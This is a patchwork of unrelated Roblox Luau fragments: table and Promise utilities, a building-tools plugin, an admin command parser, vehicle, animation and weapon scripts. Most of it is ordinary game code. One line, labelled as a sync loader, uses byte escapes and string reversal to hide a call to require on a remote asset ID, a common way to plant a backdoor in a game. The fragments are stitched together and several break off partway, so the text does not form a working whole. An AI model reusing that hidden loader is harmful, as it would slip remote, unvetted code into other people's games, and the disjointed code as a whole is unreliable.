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--[=[ @within TableUtil @function Reverse @param tbl table @return table Reverses the array. ```lua local t = {1, 5, 10} local tReverse = TableUtil.Reverse(t) print(tReverse) --> {10, 5, 1} ``` :::note Arrays only This function works on arrays, but not dictionaries. ]=]
local function Reverse(tbl: Table): Table local n = #tbl local tblRev = table.create(n) for i = 1,n do tblRev[i] = tbl[n - i + 1] end return tblRev end
-- Enable tool or plugin
if Mode == 'Plugin' then -- Set the UI root UIContainer = CoreGui; -- Create the toolbar button PluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton( 'Building Tools by F3X', 'Building Tools by F3X', Assets.PluginIcon ); -- Connect the button to the system PluginButton.Click:Connect(function () PluginEnabled = not PluginEnabled; PluginButton:SetActive(PluginEnabled); -- Toggle the tool if PluginEnabled then Plugin:Activate(true); Enable(Plugin:GetMouse()); else Disable(); end; end); -- Disable the tool upon plugin deactivation Plugin.Deactivation:Connect(Disable); -- Sync Studio selection to internal selection Selection.Changed:Connect(function () SelectionService:Set(Selection.Items); end); -- Sync internal selection to Studio selection on enabling Enabling:Connect(function () Selection.Replace(SelectionService:Get()); end); -- Roughly sync Studio history to internal history (API lacking necessary functionality) History.Changed:Connect(function () ChangeHistoryService:SetWaypoint 'Building Tools by F3X'; end); -- Add plugin action for toggling tool local ToggleAction = Plugin:CreatePluginAction( 'F3X/ToggleBuildingTools', 'Toggle Building Tools', 'Toggles the Building Tools by F3X plugin.', Assets.PluginIcon, true ) ToggleAction.Triggered:Connect(function () PluginEnabled = not PluginEnabled PluginButton:SetActive(PluginEnabled) -- Toggle the tool if PluginEnabled then Plugin:Activate(true) Enable(Plugin:GetMouse()) else Disable() end end) elseif Mode == 'Tool' then -- Set the UI root UIContainer = Player:WaitForChild 'PlayerGui'; -- Connect the tool to the system Tool.Equipped:Connect(Enable); Tool.Unequipped:Connect(Disable); -- Disable the tool if not parented if not Tool.Parent then Disable(); end; -- Disable the tool automatically if not equipped or in backpack Tool.AncestryChanged:Connect(function (Item, Parent) if not Parent or not (Parent:IsA 'Backpack' or (Parent:IsA 'Model' and Players:GetPlayerFromCharacter(Parent))) then Disable(); end; end); end;
--[[ Fired when Warmup is entered, throwing out a player state update, as well as transitioning the player state ]]
function Transitions.onEnterWarmup(stateMachine, event, from, to, playerComponent) Logger.trace(playerComponent.player.Name, " state change: ", from, " -> ", to) playerComponent:updateStatus("currentState", to) PlayerWarmup.enter(stateMachine, playerComponent) end
-- << FUNCTIONS >>
function module:Process(commandArgsReal, args, commandPrefix, commandName, speaker, speakerData, originalMessage, originalAlias, batches, batchPos) local argsToReturn = {} local commandArgs = {} local UP = false local forceExit = false if commandPrefix == main.settings.UniversalPrefix then UP = true end for i,v in pairs(commandArgsReal) do if i ~= 1 or v ~= "player" or not UP then table.insert(commandArgs, v) end end for i,v in pairs(commandArgs) do local argToProcess = args[i] if v == "rank" then local finalRankId = 6 -- Any rank higher than 5 will not be given if argToProcess ~= nil then for _, rankDetails in pairs(main.settings.Ranks) do local rankId = rankDetails[1] local rankName = rankDetails[2] if string.lower(rankName) == argToProcess then finalRankId = rankId break end end if finalRankId == 6 then for _, rankDetails in pairs(main.settings.Ranks) do local rankId = rankDetails[1] local rankName = rankDetails[2] if string.sub(string.lower(rankName),1,#argToProcess) == argToProcess then finalRankId = rankId break end end end end argToProcess = finalRankId elseif v == "colour" or v == "color" or v == "color3" then local finalColor if argToProcess ~= nil then local rgb = {} argToProcess:gsub("([^,]+)",function(c) table.insert(rgb, tonumber(c)) end); if #rgb == 3 then finalColor = Color3.fromRGB(rgb[1], rgb[2], rgb[3]) else finalColor = main:GetModule("cf"):GetColorFromString(argToProcess) end end if not finalColor then if commandName == "laserEyes" then finalColor = speakerData.LaserColor else finalColor = Color3.fromRGB(255,255,255) end end argToProcess = finalColor elseif v == "number" or v == "integer" or v == "studs" or v == "speed" or v == "intensity" then argToProcess = tonumber(argToProcess) or 0 local limitDetails = main.settings.CommandLimits[commandName] if limitDetails then local limit = limitDetails.Limit local ingoreRank = limitDetails.IgnoreLimit if argToProcess > limit and speakerData.Rank < ingoreRank then local rankName = main:GetModule("cf"):GetRankName(ingoreRank) main:GetModule("cf"):FormatAndFireError(speaker, "CommandLimit", v, limit, rankName) forceExit = true end end elseif v == "boolean" then argToProcess = ((argToProcess == "on" or argToProcess == "true") and true) or false elseif v == "value" then local number = tonumber(argToProcess) if number then argToProcess = number end elseif v == "stat" or v == "statname" then local finalStatName = "" local leaderstats = speaker:FindFirstChild("leaderstats") if leaderstats then for _,stat in pairs(leaderstats:GetChildren()) do local statName = string.lower(stat.Name) if string.sub(statName, 1, #argToProcess) == argToProcess then finalStatName = stat.Name break end end end argToProcess = finalStatName elseif v == "scale" then argToProcess = tonumber(argToProcess) or 1 local scaleLimit = main.settings.ScaleLimit local ignoreRank = main.settings.IgnoreScaleLimit if argToProcess > scaleLimit and speakerData.Rank < ignoreRank then local rankName = main:GetModule("cf"):GetRankName(ignoreRank) main:GetModule("cf"):FormatAndFireError(speaker, "ScaleLimit", scaleLimit, rankName) forceExit = true elseif argToProcess > 50 then argToProcess = 100 end -- elseif v == "degrees" or v == "degree" or v == "rotation" then argToProcess = tonumber(argToProcess) or 180 elseif v == "team" then local selectedTeam for _,team in pairs(main.teams:GetChildren()) do local teamName = string.lower(team.Name) if string.sub(teamName, 1, #argToProcess) == argToProcess then selectedTeam = team break end end argToProcess = selectedTeam elseif v == "teamcolor" then local teamColor for _,team in pairs(main.teams:GetChildren()) do local teamName = string.lower(team.Name) if string.sub(teamName, 1, #argToProcess) == argToProcess then teamColor = team.TeamColor break end end argToProcess = teamColor elseif v == "text" or v == "string" or v == "reason" or v == "question" or v == "teamname" or v == "code" then local _, minStartPos = string.lower(originalMessage):find(originalAlias) if argToProcess then local newOriginalMessage = string.sub(originalMessage, minStartPos+1) local startPos, endPos = string.lower(newOriginalMessage):find(argToProcess, 1, true) local message = string.sub(newOriginalMessage, startPos) if batchPos ~= #batches then local removeFrom = batchPos+1 for i,v in pairs(batches) do if i >= removeFrom then table.remove(batches,removeFrom) end end end argToProcess = string.sub(argToProcess, 1, 420) -- We don't people flooding items like titles with over 20,000 characters for example if tonumber(message) or v == "code" then argToProcess = message else argToProcess = main:GetModule("cf"):FilterBroadcast(message, speaker) end else argToProcess = " " end elseif v == "answers" then local newArgs = {} if argToProcess then argToProcess:gsub('([^,]+)',function(c) newArgs[#newArgs+1] = c end); argToProcess = newArgs end elseif v == "material" then local finalMaterial = Enum.Material.Plastic for i, materialName in pairs(materials) do if (argToProcess == string.sub(string.lower(materialName),1,#argToProcess)) then finalMaterial = Enum.Material[materialName] break end end argToProcess = finalMaterial elseif v == "userid" or v == "playerid" or v == "plrid" then if argToProcess == nil then argToProcess = 1 end local userId = tonumber(argToProcess) if not userId then local userName = string.lower(argToProcess) for i, plr in pairs(main.players:GetChildren()) do local plrName = string.lower(plr.Name) if string.sub(plrName, 1, #userName) == userName then userId = plr.UserId end end if not userId then userId = main:GetModule("cf"):GetUserId(argToProcess) end end argToProcess = userId elseif v == "tools" or v == "gears" or v == "tool" or v == "gear" then local toolName = argToProcess argToProcess = {} for i,v in pairs(main.listOfTools) do if toolName == "all" or string.lower(string.sub(v.Name, 1, #toolName)) == toolName then table.insert(argToProcess, v) end end elseif v == "morph" then local morphName = argToProcess argToProcess = nil if morphName then for i,v in pairs(main.server.Morphs:GetChildren()) do local mName = string.lower(v.Name) if mName == morphName then argToProcess = v break elseif string.sub(mName, 1, #morphName) == morphName then argToProcess = v end end end end if forceExit then break end table.insert(argsToReturn, argToProcess) end return argsToReturn, forceExit end return module
--[[ Last synced 8/20/2022 01:20 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--[=[ Promise resolution procedure, resolves the given values @param ... T ]=]
function Promise:Resolve(...) if not self._pendingExecuteList then return end local len = select("#", ...) if len == 0 then self:_fulfill({}, 0) elseif self == (...) then self:Reject("TypeError: Resolved to self") elseif Promise.isPromise(...) then if len > 1 then local message = ("When resolving a promise, extra arguments are discarded! See:\n\n%s") :format(self._source) warn(message) end local promise2 = (...) if promise2._pendingExecuteList then -- pending promise2._unconsumedException = false promise2._pendingExecuteList[#promise2._pendingExecuteList + 1] = { function(...) self:Resolve(...) end, function(...) -- Still need to verify at this point that we're pending! if self._pendingExecuteList then self:_reject({...}, select("#", ...)) end end, nil } elseif promise2._rejected then -- rejected promise2._unconsumedException = false self:_reject(promise2._rejected, promise2._valuesLength) elseif promise2._fulfilled then -- fulfilled self:_fulfill(promise2._fulfilled, promise2._valuesLength) else error("[Promise.Resolve] - Bad promise2 state") end elseif type(...) == "function" then if len > 1 then local message = ("When resolving a function, extra arguments are discarded! See:\n\n%s") :format(self._source) warn(message) end local func = ... func(self:_getResolveReject()) else -- TODO: Handle thenable promises! -- Problem: Lua has :andThen() and also :Then() as two methods in promise -- implementations. self:_fulfill({...}, len) end end
-- создаём заготовки/клоны исходных скриптов
local scr1 = script.StageAdd:Clone() local scr2 = script.onModelTouched:Clone() local elements = script.Parent:GetChildren() -- взять дочек for a,b in pairs(elements) do if b.ClassName == "Model" then -- проверить дочек на модель -- клонируем скрипты на свои места local s1=scr1:Clone() s1.Parent = b.Finish local s4=scr1:Clone() s4.Parent = b.SpawnLocation local s2=scr2:Clone() s2.Parent = b.Finish local s3=scr2:Clone() s3.Parent = b.SpawnLocation -- включаем скрипты s1.Disabled = false s2.Disabled = false s3.Disabled = false s4.Disabled = false end end local tmp = script.Parent:GetChildren() local models = {} -- пустой массив моделей
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if zombie then local bodyHeightScale = zombie:FindFirstChild("BodyHeightScale") if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then return bodyHeightScale.Value end end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) if speed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif speed < 0.66 then local weight = ((speed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end local speedScaled = speed * 1.25 local heightScale = getHeightScale() runAnimTrack:AdjustSpeed(speedScaled / heightScale) currentAnimTrack:AdjustSpeed(speedScaled / heightScale) end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed if currentAnim == "walk" then setRunSpeed(speed) else currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, zombie) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end
-- Constructor
local Camera = workspace.CurrentCamera local Looping = false local Speed = 1 local FreezeControls = false
----- Loaded Modules -----
local MadworkMaid = require(Madwork.GetShared("Madwork", "MadworkMaid"))
--[=[ A BaseObject basically just adds the :Destroy() interface, and a _maid, along with an optional object it references. @class BaseObject ]=]
local require = require(script.Parent.loader).load(script) local Maid = require("Maid") local BaseObject = {} BaseObject.ClassName = "BaseObject" BaseObject.__index = BaseObject
-- Join control
players.PlayerAdded:Connect(require(playerFunctions).PlayerAdded) players.PlayerRemoving:Connect(require(playerFunctions).Save)
--[=[ Returns the first alive Brio in a list @param brios {Brio<T>} @return Brio<T> ]=]
function BrioUtils.firstAlive(brios) for _, brio in pairs(brios) do if not brio:IsDead() then return brio end end return nil end
--[[ ___ _______ _ _______ / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / / /_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/ SecondLogic @ Inspare Avxnturador @ Novena ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local BOVact = 0 local BOVact2 = 0 local BOV_Loudness = 0 --volume of the BOV (not exact volume so you kinda have to experiment with it) local BOV_Pitch = 0.2 --max pitch of the BOV (not exact so might have to mess with it) local TurboLoudness = 0 --volume of the Turbo (not exact volume so you kinda have to experiment with it also) script:WaitForChild("Whistle") script:WaitForChild("BOV") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end end end) handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true) handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true) handler:FireServer("playSound","Whistle") car.DriveSeat:WaitForChild("Whistle") car.DriveSeat:WaitForChild("BOV") local ticc = tick() local _TCount = 0 if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end while wait() do local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2) BOVact = math.floor(psi*20) WP = (psi) WV = (psi/4)*TurboLoudness BP = (1-(-psi/20))*BOV_Pitch BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value)) if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end if FE then handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV) handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV) else car.DriveSeat.Whistle.Pitch = WP car.DriveSeat.Whistle.Volume = WV car.DriveSeat.BOV.Pitch = BP car.DriveSeat.BOV.Volume = BV end if (tick()-ticc) >= 0.1 then BOVact2 = math.floor(psi*20) ticc = tick() end end
-- Get reference to the Dock frame
local dock = script.Parent.Parent.DockShelf
-------------------------
function onClicked() Car.BodyVelocity.velocity = Vector3.new(0, 5, 0) end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[Information about tool: This tool is created with the AH-64. its one of the Efectivest tools created by me ]] --Not change below SOMETHING! Exept where i say u may do ! --Flight movement
creativeval = 0 bin=script.Parent
--[=[ @param predicate (value: any) -> boolean @return Option Returns `self` if this option has a value and the predicate returns `true. Otherwise, returns None. ]=]
function Option:Filter(predicate) if self:IsNone() or not predicate(self._v) then return Option.None else return self end end
--//EVENTS\\--
game:GetService("RunService").RenderStepped:Connect(function()--This part gets the renderization service --//VISIBLE\\-- for i, part in pairs(character:GetChildren()) do if string.match(part.Name, "Arm") or string.match(part.Name, "Hand") or string.match(part.Name, "Leg") or string.match(part.Name, "Torso") or string.match(part.Name, "Foot") then--This part of the script will detect the names of the items listed then it's going to be used later on part.LocalTransparencyModifier = 0--disables the ability of your bodyparts to be transparent end end end)
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local head = vCharacter:findFirstChild("Head") if head == nil then return end local launch = head.Position + 10 * v local missile = Pellet:clone() missile.Position = launch missile.Velocity = v * 80 local force = Instance.new("BodyForce") force.force = Vector3.new(0,40,0) force.Parent = missile if (turbo) then missile.Velocity = v * 100 force.force = Vector3.new(0,45,0) end missile.SnowballScript.Disabled = false local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vCharacter creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace end function rndDir() return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end if loaded==true then loaded=false local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit fire(lookAt, isTurbo(character) ) if (isTurbo(character) == true) then wait(.1) Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6 Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6 wait(.1) fire(lookAt * .9 + rndDir() * .1, isTurbo(character) ) Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6 Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6 wait(.1) fire(lookAt * .8 + rndDir() * .2, isTurbo(character) ) wait(.1) else wait(.3) end Tool.Enabled = true elseif loaded==false then Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6 Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6 wait(.1) Tool.Handle.Transparency=0 wait(.1) loaded=true end Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
-- Left Arms
character.Constraint.ConstraintLeftUpperArm.Attachment0 = LUA character.Constraint.ConstraintLeftUpperArm.Attachment1 = LUARig character.Constraint.ConstraintLeftLowerArm.Attachment0 = LLA character.Constraint.ConstraintLeftLowerArm.Attachment1 = LLARig character.Constraint.ConstraintLeftHand.Attachment0 = LH character.Constraint.ConstraintLeftHand.Attachment1 = LHRig
-- Legacy implementation renamed
function CameraUtils.GetAngleBetweenXZVectors(v1: Vector3, v2: Vector3): number return math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z) end function CameraUtils.RotateVectorByAngleAndRound(camLook: Vector3, rotateAngle: number, roundAmount: number): number if camLook.Magnitude > 0 then camLook = camLook.Unit local currAngle = math.atan2(camLook.Z, camLook.X) local newAngle = round((math.atan2(camLook.Z, camLook.X) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end
--// Hash: 4ff11c83b72d76d1d1d67ed38db378bb76fe93bad84f73c50a81f60a561bca442213063368847fe595aea47ea94b3b28 -- Decompiled with the Synapse X Luau decompiler.
wait(3); if game:GetService("VRService").VREnabled then game:GetService("Players").LocalPlayer:Kick("VR isn't supported, sorry!"); end;
-- Mapping from movement mode and lastInputType enum values to control modules to avoid huge if elseif switching
local movementEnumToModuleMap = { [Enum.TouchMovementMode.DPad] = TouchDPad, [Enum.DevTouchMovementMode.DPad] = TouchDPad, [Enum.TouchMovementMode.Thumbpad] = TouchThumbpad, [Enum.DevTouchMovementMode.Thumbpad] = TouchThumbpad, [Enum.TouchMovementMode.Thumbstick] = TouchThumbstick, [Enum.DevTouchMovementMode.Thumbstick] = TouchThumbstick, [Enum.TouchMovementMode.DynamicThumbstick] = DynamicThumbstick, [Enum.DevTouchMovementMode.DynamicThumbstick] = DynamicThumbstick, [Enum.TouchMovementMode.ClickToMove] = ClickToMove, [Enum.DevTouchMovementMode.ClickToMove] = ClickToMove, -- Current default [Enum.TouchMovementMode.Default] = DynamicThumbstick, [Enum.ComputerMovementMode.Default] = Keyboard, [Enum.ComputerMovementMode.KeyboardMouse] = Keyboard, [Enum.DevComputerMovementMode.KeyboardMouse] = Keyboard, [Enum.DevComputerMovementMode.Scriptable] = nil, [Enum.ComputerMovementMode.ClickToMove] = ClickToMove, [Enum.DevComputerMovementMode.ClickToMove] = ClickToMove, }
--- Cleans up all tasks. -- @alias Destroy
function Maid:doCleaning() local tasks = self._tasks -- Disconnect all events first as we know this is safe for index, task in pairs(tasks) do if typeof(task) == "RBXScriptConnection" then tasks[index] = nil task:Disconnect() end end -- Clear out tasks table completely, even if clean up tasks add more tasks to the maid local index, task = next(tasks) while task ~= nil do tasks[index] = nil if type(task) == "function" then task() elseif typeof(task) == "RBXScriptConnection" then task:Disconnect() elseif task.Destroy then task:Destroy() elseif task.destroy then task:destroy() end index, task = next(tasks) end end
-- Code --
setUp() getProximityPrompts() for index, prompt in ipairs(proximityPrompts) do local connection = prompt.Triggered:Connect(onTriggered) table.insert(connections, connection) end
--[[ class Maid Description: Manages the cleaning of events and other things. Needed to encapsulate state and make deconstructors easy API: Maid.new() Returns a new Maid object. Maid[key] = (function) Adds a task to perform when cleaning up. Maid[key] = (event connection) Manages an event connection. Anything that isn"t a function is assumed to be this. Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up. Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object, it is destroyed. Maid:GiveTask(task) Same as above, but uses an incremented number as a key. Maid:DoCleaning() Disconnects all managed events and performs all clean-up tasks. Maid:IsCleaning() Returns true is in cleaning process. Maid:Destroy() Alias for DoCleaning() ]]
local Maid = {}
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) game.ReplicatedStorage.Events.Character.BuyWeapon:Fire(player,dialogueFolder.Parent.Name) end
-- The pierce function can also be used for things like bouncing. -- In reality, it's more of a function that the module uses to ask "Do I end the cast now, or do I keep going?" -- Because of this, you can use it for logic such as ray reflection or other redirection methods. -- A great example might be to pierce or bounce based on something like velocity or angle. -- You can see this implementation further down in the OnRayPierced function.
function CanRayPierce(cast, rayResult, segmentVelocity) -- Let's keep track of how many times we've hit something. local hits = cast.UserData.Hits if (hits == nil) then -- If the hit data isn't registered, set it to 1 (because this is our first hit) cast.UserData.Hits = 1 else -- If the hit data is registered, add 1. cast.UserData.Hits += 1 end -- And if the hit count is over 3, don't allow piercing and instead stop the ray. if (cast.UserData.Hits > 3) then return false end -- Now if we make it here, we want our ray to continue. -- This is extra important! If a bullet bounces off of something, maybe we want it to do damage too! -- So let's implement that. local hitPart = rayResult.Instance if hitPart ~= nil and hitPart.Parent ~= nil then local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid") if humanoid then local Player = Players:GetPlayerFromCharacter(Tool.Parent) humanoid.Health -= 50 TagHumanoid(humanoid, Player) end end -- And then lastly, return true to tell FC to continue simulating. return true --[[ -- This function shows off the piercing feature literally. Pass this function as the last argument (after bulletAcceleration) and it will run this every time the ray runs into an object. -- Do note that if you want this to work properly, you will need to edit the OnRayPierced event handler below so that it doesn't bounce. if material == Enum.Material.Plastic or material == Enum.Material.Ice or material == Enum.Material.Glass or material == Enum.Material.SmoothPlastic then -- Hit glass, plastic, or ice... if hitPart.Transparency >= 0.5 then -- And it's >= half transparent... return true -- Yes! We can pierce. end end return false --]] end function Fire(direction) -- Called when we want to fire the gun. if Tool.Parent:IsA("Backpack") then return end -- Can't fire if it's not equipped. -- Note: Above isn't in the event as it will prevent the CanFire value from being set as needed. -- UPD. 11 JUNE 2019 - Add support for random angles. local directionalCF = CFrame.new(Vector3.new(), direction) -- Now, we can use CFrame orientation to our advantage. -- Overwrite the existing Direction value. local direction = (directionalCF * CFrame.fromOrientation(0, 0, RNG:NextNumber(0, TAU)) * CFrame.fromOrientation(math.rad(RNG:NextNumber(MIN_BULLET_SPREAD_ANGLE, MAX_BULLET_SPREAD_ANGLE)), 0, 0)).LookVector -- UPDATE V6: Proper bullet velocity! -- IF YOU DON'T WANT YOUR BULLETS MOVING WITH YOUR CHARACTER, REMOVE THE THREE LINES OF CODE BELOW THIS COMMENT. -- Requested by https://www.roblox.com/users/898618/profile/ -- We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life. local humanoidRootPart = Tool.Parent:WaitForChild("HumanoidRootPart", 1) -- Add a timeout to this. local myMovementSpeed = humanoidRootPart.Velocity -- To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such. local modifiedBulletSpeed = (direction * BULLET_SPEED)-- + myMovementSpeed -- We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity. if PIERCE_DEMO then CastBehavior.CanPierceFunction = CanRayPierce end local simBullet = Caster:Fire(FirePointObject.WorldPosition, direction, modifiedBulletSpeed, CastBehavior) -- Optionally use some methods on simBullet here if applicable. -- Play the sound PlayFireSound() PlayReloadSound() end
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.KeroppiKnife-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = nil , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = nil , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.P , --Handbrake PBrake = Enum.KeyCode.LeftShift , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = 1/300 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 5 -- Wait this long between each regeneration step.
--[=[ @private @class Utils ]=]
